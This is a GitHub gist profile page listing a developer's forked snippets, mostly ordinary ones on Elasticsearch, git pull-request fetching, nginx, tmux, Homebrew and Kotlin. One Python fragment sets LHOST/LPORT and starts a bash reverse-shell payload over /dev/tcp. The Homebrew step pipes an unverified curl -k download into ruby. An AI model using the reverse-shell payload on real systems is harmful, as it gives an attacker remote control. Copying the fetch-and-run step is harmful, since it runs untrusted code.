Skip to content

Instantly share code, notes, and snippets.

View throughnothing's full-sized avatar

William Wolf throughnothing

View GitHub Profile
@throughnothing
throughnothing / gist:3289647
Created August 7, 2012 21:45 — forked from mago0/gist:3289623
Search ElasticSearch with Curl
#!/bin/bash
if [ $# -ne 4 ]; then
echo "Usage: $0 <'password'> <index> <field> <value>"
fi
password=$1
index=$2
field=$3
value=$4
@throughnothing
throughnothing / gist:3893655
Created October 15, 2012 17:05 — forked from clintongormley/gist:3888120
Upgrading a running elasticsearch cluster

Yesterday I upgraded our running elasticsearch cluster on a site which serves a few million search requests a day, with zero downtime. I've been asked to describe the process, hence this blogpost.

To make it more complicated, the cluster was running elasticsearch version 0.17.8 (released 6 Oct 2011) and I upgraded it to the latest 0.19.10. There have been 21 releases between those two versions, with a lot of functional changes, so I needed to be ready to roll back if necessary.

Our setup:

  • elasticsearch

We run elasticsearch on two biggish boxes: 16 cores plus 32GB of RAM. All indices have 1 replica, so all data is stored on both boxes (about 45GB of data). The primary data for our main indices is also stored in our database. We have a few other indices whose data is stored only in elasticsearch, but are updated once daily only. Finally, we store our sessions in elasticsearch, but active sessions are cached in memcached.

@throughnothing
throughnothing / pr.md
Created October 29, 2012 16:51 — forked from piscisaureus/pr.md
Checkout github pull requests locally

Locate the section for your github remote in the .git/config file. It looks like this:

[remote "origin"]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = git@github.com:joyent/node.git

Now add the line fetch = +refs/pull/*/head:refs/remotes/origin/pr/* to this section. Obviously, change the github url to match your project's URL. It ends up looking like this:

perl_set $uid '
use Digest::MD5 qw(md5_hex);
sub {
return md5_hex(`od -vAn -N4 -tu4 < /dev/urandom`);
}';
#pass to fcgi
location ... {
fastcgi_param UNIQUE_ID $uid

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

Install and configure brew
$ ruby -e "$(curl -fsSkL raw.github.com/mxcl/homebrew/go)"
$ touch ~/.bashrc
$ echo "export CFLAGS=\"-arch x86_64\"" >> ~/.bashrc
$ echo "export ARCHFLAGS=\"-arch x86_64\"" >> ~/.bashrc
$ source ~/.bashrc
$ brew update
$ brew doctor
Do what the doctor says! This will more than likely include installing XCode from the App Store and then installing the "Command line tools" from "Xcode > Preferences > Downloads"
/*
author: jbenet
os x, compile with: gcc -o testo test.c
linux, compile with: gcc -o testo test.c -lrt
*/
#include <time.h>
#include <sys/time.h>
#include <stdio.h>
# -*- coding: utf-8 -*-
#
import tempfile
import sys, os
import re
LHOST, LPORT = ('127.0.0.1', '4444')
PAYLOAD = (r'''os.system('echo "bash -c \'0<&76-;exec 76<>/dev/tcp/%s/%s;
@throughnothing
throughnothing / 0_reuse_code.js
Last active August 29, 2015 14:16
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@throughnothing
throughnothing / gist:acac591acc02e2c86063
Created December 4, 2015 06:18 — forked from dodyg/gist:5823184
Kotlin Programming Language Cheat Sheet Part 1

#Intro

Kotlin is a new programming language for the JVM. It produces Java bytecode, supports Android and generates JavaScript. The latest version of the language is Kotlin M5.3

Kotlin project website is at kotlin.jetbrains.org.

All the codes here can be copied and run on Kotlin online editor.

Let's get started.